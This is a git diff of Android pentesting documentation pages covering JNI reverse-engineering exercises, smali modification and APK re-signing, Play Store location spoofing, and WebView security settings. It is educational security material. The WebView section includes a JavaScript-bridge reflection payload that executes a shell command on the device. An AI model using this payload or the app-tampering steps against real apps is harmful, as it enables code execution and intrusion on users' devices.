hash is a496b36cda66aaf24340941da8034bd53940d1b08d83a97f17a65ae144ebf91a. +In Exercise #5 we’re going to learn to load native libraries in a disassembler and identify the native function that is executed when a native method is called. For this particular exercise, the goal is not to reverse engineer the native method, just to find the link between the call to the native method in Java and the function that is executed in the native library. For this exercise, we will be using the sample Mediacode.apk. This sample is available at `~/samples/Mediacode.apk` in the VM. Its SHA256 hash is a496b36cda66aaf24340941da8034bd53940d1b08d83a97f17a65ae144ebf91a. **Goal** The goal of this exercise is to: 1. Identify declared native methods in the DEX bytecode -2. Determine what native libraries are loaded \(and thus where the native methods may be implemented\) +2. Determine what native libraries are loaded (and thus where the native methods may be implemented) 3. Extract the native library from the APK 4. Load the native library into a disassembler -5. Identify the address \(or name\) of the function in the native library that is executed when the native method is called +5. Identify the address (or name) of the function in the native library that is executed when the native method is called **Instructions** -1. Open Mediacode.apk in jadx. Refer back to [Exercise \#1](https://maddiestone.github.io/AndroidAppRE/reversing_intro.html#exercise-1---beginning-re-with-jadx) +1. Open Mediacode.apk in jadx. Refer back to [Exercise #1](https://maddiestone.github.io/AndroidAppRE/reversing_intro.html#exercise-1---beginning-re-with-jadx) 2. This time, if you expand the Resources tab, you will see that this APK has a `lib/` directory. The native libraries for this APK are in the default CPU paths. 3. Now we need to identify any declared native methods. In jadx, search and list all declared native methods. There should be two. 4. Around the declared native method, see if there is anywhere that a native library is loaded. This will provide guidance of what native library to look in for the function to be implemented. @@ -200,7 +200,7 @@ The goal of this exercise is to: 6. Select the architecture of the native library you’d like to analyze. 7. Start ghidra by running `ghidraRun`. This will open Ghidra. 8. To open the native library for analysis, select “New Project”, “Non-Shared Project”, select a path to save the project to and give it a name. This creates a project that you can then load binary files into. -9. Once you’ve created your project, select the dragon icon to open the Code Browser. The go to “File” > “Import File” to load the native library into the tool. You can leave all defaults. +9. Once you’ve created your project, select the dragon icon to open the Code Browser. The go to “File” > “Import File” to load the native library into the tool. You can leave all defaults. 10. You will see the following screen. Select “Analyze”. 11. Using the linking information above, identify the function in the native library that is executed when the Java-declared native method is called. @@ -210,53 +210,53 @@ The goal of this exercise is to: **Solution** -### Reversing Android Native Libraries Code - JNIEnv +### Reversing Android Native Libraries Code - JNIEnv When beginning to reverse engineer Android native libraries, one of the things I didn’t know I needed to know, was about `JNIEnv`. `JNIEnv` is a struct of function pointers to [JNI Functions](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). Every JNI function in Android native libraries, takes `JNIEnv*` as the first argument. From the Android [JNI Tips](https://developer.android.com/training/articles/perf-jni) documentation: -> The C declarations of JNIEnv and JavaVM are different from the C++ declarations. The “jni.h” include file provides different typedefs depending on whether it’s included into C or C++. For this reason it’s a bad idea to include JNIEnv arguments in header files included by both languages. \(Put another way: if your header file requires \#ifdef \_\_cplusplus, you may have to do some extra work if anything in that header refers to JNIEnv.\) +> The C declarations of JNIEnv and JavaVM are different from the C++ declarations. The “jni.h” include file provides different typedefs depending on whether it’s included into C or C++. For this reason it’s a bad idea to include JNIEnv arguments in header files included by both languages. (Put another way: if your header file requires #ifdef \__cplusplus, you may have to do some extra work if anything in that header refers to JNIEnv.) -Here are some commonly used functions \(and their offsets in JNIEnv\): +Here are some commonly used functions (and their offsets in JNIEnv): -* JNIEnv + 0x18: jclass \(\*FindClass\)\(JNIEnv_, const char_\); -* JNIEnv + 0x34: jint \(\*Throw\)\(JNIEnv\*, jthrowable\); -* JNIEnv + 0x70: jobject \(\*NewObject\)\(JNIEnv\*, jclass, jmethodID, …\); -* JNIEnv + 0x84: jobject \(\*NewObject\)\(JNIEnv\*, jclass, jmethodID, …\); -* JNIEnv + 0x28C: jstring \(\*NewString\)\(JNIEnv_, const jchar_, jsize\); -* JNIEnv + 0x35C: jint \(\*RegisterNatives\)\(JNIEnv_, jclass, const JNINativeMethod_, jint\); +* JNIEnv + 0x18: jclass (\*FindClass)(JNIEnv_, const char_); +* JNIEnv + 0x34: jint (\*Throw)(JNIEnv\*, jthrowable); +* JNIEnv + 0x70: jobject (\*NewObject)(JNIEnv\*, jclass, jmethodID, …); +* JNIEnv + 0x84: jobject (\*NewObject)(JNIEnv\*, jclass, jmethodID, …); +* JNIEnv + 0x28C: jstring (\*NewString)(JNIEnv_, const jchar_, jsize); +* JNIEnv + 0x35C: jint (\*RegisterNatives)(JNIEnv_, jclass, const JNINativeMethod_, jint); When analyzing Android native libraries, the presence of JNIEnv means that: -1. For JNI native functions, the arguments will be shifted by 2. The first argument is always JNIEnv\*. The second argument will be the object that the function should be run on. For static native methods \(they have the static keyword in the Java declaration\) this will be NULL. +1. For JNI native functions, the arguments will be shifted by 2. The first argument is always JNIEnv\*. The second argument will be the object that the function should be run on. For static native methods (they have the static keyword in the Java declaration) this will be NULL. 2. You will often see indirect branches in the disassembly because the code is adding the offset to the JNIEnv\* pointer, dereferencing to get the function pointer at that location, then branching to the function. Here is a [spreadsheet](https://docs.google.com/spreadsheets/d/1yqjFaY7mqyVIDs5jNjGLT-G8pUaRATzHWGFUgpdJRq8/edit?usp=sharing) of the C-implementation of the JNIEnv struct to know what function pointers are at the different offsets. -In practice, in the disassembly this shows as many different branches to indirect addresses rather than the direct function call. The image below shows one of these indirect function calls. The highlighted line in the disassembly shows a `blx r3`. As reversers, we need to figure out what r3 is. It’s not shown in the screenshot, but at the beginning of this function, `r0` was moved into `r5`. Therefore, `r5` is `JNIEnv*`. On line 0x12498 we see `r3 = [r5]`. Now `r3` is `JNIEnv` \(no \*\). +In practice, in the disassembly this shows as many different branches to indirect addresses rather than the direct function call. The image below shows one of these indirect function calls. The highlighted line in the disassembly shows a `blx r3`. As reversers, we need to figure out what r3 is. It’s not shown in the screenshot, but at the beginning of this function, `r0` was moved into `r5`. Therefore, `r5` is `JNIEnv*`. On line 0x12498 we see `r3 = [r5]`. Now `r3` is `JNIEnv` (no \*). On line 0x1249e, we add 0x18 to `r3` and dereference it. This means that `r3` now equals whatever function pointer is at offset 0x18 in JNIEnv. We can find out by looking at the spreadsheet. `[JNIEnv + 0x18] = Pointer to the FindClass method` -Therefore `blx r3` on line 0x124a4 is calling `FindClass`. We can look up information about `FindClass` \(and all the other functions in JNIEnv\) in the JNIFunctions documentation [here](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). +Therefore `blx r3` on line 0x124a4 is calling `FindClass`. We can look up information about `FindClass` (and all the other functions in JNIEnv) in the JNIFunctions documentation [here](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). ![Screenshot of Disassembly Calling a function from JNIEnv](https://maddiestone.github.io/AndroidAppRE/images/JNIcall.png) -Thankfully, there’s a way to get the JNI function without doing all of this manually! In both the Ghidra and IDA Pro decompilers you can re-type the first argument in JNI functions to `JNIEnv *` type and it will automatically identify the JNI Functions being called. In IDA Pro, this work out of the box. In Ghidra, you have to load the JNI types \(either the jni.h file or a Ghidra Data Types archive of the jni.h file\) first. For ease, we will load the JNI types from the Ghidra Data Types archive \(gdt\) produced by Ayrx and available [here](https://github.com/Ayrx/JNIAnalyzer/blob/master/JNIAnalyzer/data/jni_all.gdt). For ease, this file is available in the VM at `~/jni_all.gdt`. +Thankfully, there’s a way to get the JNI function without doing all of this manually! In both the Ghidra and IDA Pro decompilers you can re-type the first argument in JNI functions to `JNIEnv *` type and it will automatically identify the JNI Functions being called. In IDA Pro, this work out of the box. In Ghidra, you have to load the JNI types (either the jni.h file or a Ghidra Data Types archive of the jni.h file) first. For ease, we will load the JNI types from the Ghidra Data Types archive (gdt) produced by Ayrx and available [here](https://github.com/Ayrx/JNIAnalyzer/blob/master/JNIAnalyzer/data/jni_all.gdt). For ease, this file is available in the VM at `~/jni_all.gdt`. To load it for use in Ghidra, in the Data Type Manager Window, click on the down arrow in the right-hand corner and select “Open File Archive”. ![Screenshot of Open File Archive Menu](https://maddiestone.github.io/AndroidAppRE/images/OpenArchive.png) -Then select `jni_all.gdt` file to load. Once it’s loaded, you should see jni\_all in the Data Type Manager List as shown below. +Then select `jni_all.gdt` file to load. Once it’s loaded, you should see jni_all in the Data Type Manager List as shown below. -![Screenshot of jni\_all Loaded in Data Type Manager](https://maddiestone.github.io/AndroidAppRE/images/LoadedInDataTypeManager.png) +![Screenshot of jni_all Loaded in Data Type Manager](https://maddiestone.github.io/AndroidAppRE/images/LoadedInDataTypeManager.png) Once this is loaded in Ghidra, you can then select any argument types in the decompiler and select “Retype Variable”. Set the new type to JNIEnv \*. This will cause the decompiler to now show the names of the JNIFunctions called rather than the offsets from the pointer. ![Screenshot of JNI Function names after the argument was Re-Typed to JNIEnv\* ](https://maddiestone.github.io/AndroidAppRE/images/RetypedToJNIEnv.png) -#### Exercise \#6 - Find and Reverse the Native Function +#### Exercise #6 - Find and Reverse the Native Function We are going to point all of our previous skills together: identifying starting points for RE, reversing DEX, and reversing native code to analyze an application that may have moved its harmful behaviors in native code. The sample is `~/samples/HDWallpaper.apk`. @@ -278,4 +278,3 @@ You are a malware analyst for Android applications. You are concerned that this Go on and reverse! **Solution** - diff --git a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md b/mobile-apps-pentesting/android-app-pentesting/smali-changes.md index 51c1a19b..4e39e23f 100644 --- a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md +++ b/mobile-apps-pentesting/android-app-pentesting/smali-changes.md @@ -1,8 +1,8 @@ -# Smali - Decompiling/\[Modifying\]/Compiling +# Smali - Decompiling/\[Modifying]/Compiling -Sometimes it is interesting to modify the application code to access hidden information for you \(maybe well obfuscated passwords or flags\). Then, it could be interesting to decompile the apk, modify the code and recompile it. +Sometimes it is interesting to modify the application code to access hidden information for you (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it. -**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) +**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) ## Fast Way @@ -12,7 +12,7 @@ Using **Visual Studio Code** and the [APKLab](https://github.com/APKLab/APKLab) Using APKTool you can access to the **smali code and resources**: -```text +``` apktool d APP.apk ``` @@ -20,15 +20,15 @@ If **apktool** gives you any error, try[ installing the **latest version**](http Some **interesting files you should look are**: -* _res/values/strings.xml_ \(and all xmls inside res/values/\*\) +* _res/values/strings.xml_ (and all xmls inside res/values/\*) * _AndroidManifest.xml_ * Any file with extension _.sqlite_ or _.db_ -If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/\#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** \(Do not decode resources\). Then, if the problem was in a resource and not in the source code, you won't have the problem \(you won't also decompile the resources\). +If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** (Do not decode resources). Then, if the problem was in a resource and not in the source code, you won't have the problem (you won't also decompile the resources). ## Change smali code -You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com/), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**. +You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**.\ Some **examples** can be found here: * [Smali changes examples](smali-changes.md) @@ -50,7 +50,7 @@ If **apktool** throws an **error**, try[ installing the **latest version**](http ### **Sing the new APK** -Then, you need to **generate a key** \(you will be asked for a password and for some information that you can fill randomly\): +Then, you need to **generate a key** (you will be asked for a password and for some information that you can fill randomly): ```bash keytool -genkey -v -keystore key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias @@ -64,16 +64,16 @@ jarsigner -keystore key.jks path/to/dist/* ### Optimize new application -**zipalign** is an archive alignment tool that provides important optimisation to Android application \(APK\) files. [More information here](https://developer.android.com/studio/command-line/zipalign). +**zipalign** is an archive alignment tool that provides important optimisation to Android application (APK) files. [More information here](https://developer.android.com/studio/command-line/zipalign). ```bash zipalign [-f] [-v] infile.apk outfile.apk zipalign -v 4 infile.apk ``` -### **Sign the new APK \(again?\)** +### **Sign the new APK (again?)** -If you **prefer** to use **\*\*\[**apksigner**\]\(**[https://developer.android.com/studio/command-line/apksigner](https://developer.android.com/studio/command-line/apksigner)**\)** instead of jarsigner, **you should sing the apk** after applying **the optimization with** zipaling**. BUT NOTICE THAT** YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE\*\* WITH jarsigner \(before zipalign\) OR WITH aspsigner\(after zipaling\). +If you **prefer** to use **\*\*\[**apksigner**]\(**[https://developer.android.com/studio/command-line/apksigner](https://developer.android.com/studio/command-line/apksigner)**) **instead of jarsigner,** you should sing the apk **after applying** the optimization with **zipaling**. BUT NOTICE THAT **YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE\*\* WITH jarsigner (before zipalign) OR WITH aspsigner(after zipaling). ```bash apksigner sign --ks key.jks ./dist/mycompiled.apk @@ -83,7 +83,7 @@ apksigner sign --ks key.jks ./dist/mycompiled.apk For the following Hello World Java code: -```text +``` public static void printHelloWorld() { System.out.println("Hello World") } @@ -91,7 +91,7 @@ public static void printHelloWorld() { The Smali code would be: -```text +``` .method public static printHelloWorld()V .registers 2 sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; @@ -109,7 +109,7 @@ The Smali instruction set is available [here](https://source.android.com/devices Some variables are defined at the beginning of the function using the opcode _const_, you can modify its values, or you can define new ones: -```text +``` #Number const v9, 0xf4240 const/4 v8, 0x1 @@ -119,7 +119,7 @@ const-string v5, "wins" ### Basic Operations -```text +``` #Math add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0 mul-int v0,v2,0x2 #v2*0x2 and save in v0 @@ -146,7 +146,7 @@ goto :goto_6 #Always go to: :goto_6 ### Logging -```text +``` #Log win: iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5 invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; #Transform number to String @@ -157,19 +157,19 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin Recommendations: -* If you are going to use declared variables inside the function \(declared v0,v1,v2...\) put these lines between the _.local <number>_ and the declarations of the variables \(_const v0, 0x1_\) +* If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local \_ and the declarations of the variables (_const v0, 0x1_) * If you want to put the logging code in the middle of the code of a function: * Add 2 to the number of declared variables: Ex: from _.locals 10_ to _.locals 12_ - * The new variables should be the next numbers of the already declared variables \(in this example should be _v10_ and _v11_, remember that it starts in v0\). + * The new variables should be the next numbers of the already declared variables (in this example should be _v10_ and _v11_, remember that it starts in v0). * Change the code of the logging function and use _v10_ and _v11_ instead of _v5_ and _v1_. ### Toasting Remember to add 3 to the number of _.locals_ at the begging of the function. -This code is prepared to be inserted in the **middle of a function** \(**change** the number of the **variables** as necessary\). It will take the **value of this.o**, **transform** it to **String** and them **make** a **toast** with its value. +This code is prepared to be inserted in the **middle of a function** (**change** the number of the **variables** as necessary). It will take the **value of this.o**, **transform** it to **String** and them **make** a **toast** with its value. -```text +``` const/4 v10, 0x1 const/4 v11, 0x1 const/4 v12, 0x1 @@ -180,4 +180,3 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/ move-result-object v12 invoke-virtual {v12}, Landroid/widget/Toast;->show()V ``` - diff --git a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index 0f65d4e0..647e7ae2 100644 --- a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -1,11 +1,14 @@ # Spoofing your location in Play Store -**Information copied from** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)\*\*\*\* +**Information copied from **[**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/)**** Many a times you have seen that application which you want to assess is only allowed in selected countries, so in that case you won’t be able to install that application on you android device. But if you can spoof your location to that country in which the application is allowed then you can get access to that application. Below is the procedure of the same. -* First install **Hotspot Shield Free VPN Proxy** from Google Play Store. ![](https://i.imgur.com/0XrmuKY.png) -* Now connect using it and choose your required country. ![](https://i.imgur.com/Z0WHrZX.png) -* Now go to **Settings** >> **Apps** >> **Google Play Store** and then tap on **Force Stop** and then on **Clear Data**. ![](https://i.imgur.com/sjFrr67.png) -* Open up **Google Play Store** and now you will be able to search and install the application which is only available in that country. ![](https://i.imgur.com/zfdhCBI.png) - +* First install **Hotspot Shield Free VPN Proxy** from Google Play Store.\ + ![](https://i.imgur.com/0XrmuKY.png) +* Now connect using it and choose your required country.\ + ![](https://i.imgur.com/Z0WHrZX.png) +* Now go to **Settings** >> **Apps** >> **Google Play Store** and then tap on **Force Stop** and then on **Clear Data**.\ + ![](https://i.imgur.com/sjFrr67.png) +* Open up **Google Play Store** and now you will be able to search and install the application which is only available in that country.\ + ![](https://i.imgur.com/zfdhCBI.png) diff --git a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md b/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md index ff7c6204..266261b3 100644 --- a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md +++ b/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md @@ -4,67 +4,67 @@ ### File Access -_WebView_ file access is enabled by default. Since API 3 \(Cupcake 1.5\) the method [_setAllowFileAccess\(\)_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess%28boolean%29) is available for explicitly enabling or disabling it. -If the application has _**android.permission.READ\_EXTERNAL\_STORAGE**_ it will be able to read and load files **from the external storage**. +_WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\ +If the application has _**android.permission.READ_EXTERNAL_STORAGE** _it will be able to read and load files **from the external storage**.\ The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file. -#### Universal Access From File URL \(Deprecated\) +#### Universal Access From File URL (Deprecated) > Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting. > > **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites. -In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin \(**`Access-Control-Allow-Origin: file://`**\) then the content won't be loaded. +In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin (**`Access-Control-Allow-Origin: file://`**) then the content won't be loaded.\ The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above. -* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) to know whether JavaScript running in the context of a file scheme URL can access content from any origin \(if UniversalAccessFromFileURL is enabled\). -* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs%28boolean%29) to enable/disable it. +* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled). +* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) to enable/disable it. {% hint style="info" %} -Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled. +Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files **even if all the dangerous settings are enabled. {% endhint %} -#### File Access From File URLs \(Deprecated\) +#### File Access From File URLs (Deprecated) > Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting. > > **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data. -In summary, this prevents javascript to access local files via `file://` protocol. -Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) is `true`. +In summary, this prevents javascript to access local files via `file://` protocol.\ +Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`. \ The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above. -* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs%28%29) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs. -* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs%28boolean%29)to enable/disable it. +* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs. +* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it. #### File Access -> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res. +> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res. -In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol. +In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.\ The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R) and above. -* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess%28%29) to know if the configuration is enabled. -* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess%28boolean%29) to enable/disable it. +* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled. +* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it. #### WebViewAssetLoader -> Helper class to load local files including application's static assets and resources using http\(s\):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy. +> Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy. This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server. ### Javascript Enabled -WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled%28boolean%29) is can explicitly enabling or disabling it. +WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it. \ Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105). ### Javascript Bridge -Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** \(annotated with `@JavascriptInterface`\) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_. +Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_. Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces. -> Warning: Take extreme care with apps targeting Android versions below Android 4.2 \(API level 17\) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default \(instead of only those annotated\). +> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated). #### Static Analysis @@ -99,13 +99,13 @@ Note that in the case of trying to exploit this vulnerability via an **Open Redi If `addJavascriptInterface` is necessary, take the following considerations: -* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method \(via `WebView.getUrl`\). -* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser \(e.g. Chrome, Firefox\). -* If necessary for legacy reasons \(e.g. having to support older devices\), **at least set the minimal API level to 17** in the manifest file of the app \(``\). +* **Only JavaScript provided **with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`). +* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox). +* If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (``). ### Javascript Bridge to RCE via Reflection -As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)\(_check it for ideas in case you obtain RCE_\) ****once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one: +As noted in [**this research **](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_)** **once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one: ```markup @@ -117,19 +117,19 @@ execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']); ``` -However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**. +However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\ In that scenario, you won't be able to abuse Reflection to execute arbitrary code. ### Remote Debugging -**Renote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.** -The **device** needs to be **accessible** by the PC \(via USB, local emulator, local network...\) and running the debuggable WebView, then access **chrome://inspect/\#devices**: +**Renote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\ +****The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**: -![](../../.gitbook/assets/image%20%28530%29.png) +![](<../../.gitbook/assets/image (525).png>) -Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab: +Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS **code from the **console** tab: -![](../../.gitbook/assets/image%20%28531%29.png) +![](<../../.gitbook/assets/image (526).png>) In order to enable **WebView Remote Debugging** you can do something like: @@ -173,5 +173,3 @@ xhr.send(null); {% embed url="https://developer.android.com/reference/android/webkit/WebView" %} - - diff --git a/mobile-apps-pentesting/android-checklist.md b/mobile-apps-pentesting/android-checklist.md index e7ecd828..0d9703f9 100644 --- a/mobile-apps-pentesting/android-checklist.md +++ b/mobile-apps-pentesting/android-checklist.md @@ -1,12 +1,12 @@ # Android APK Checklist {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks 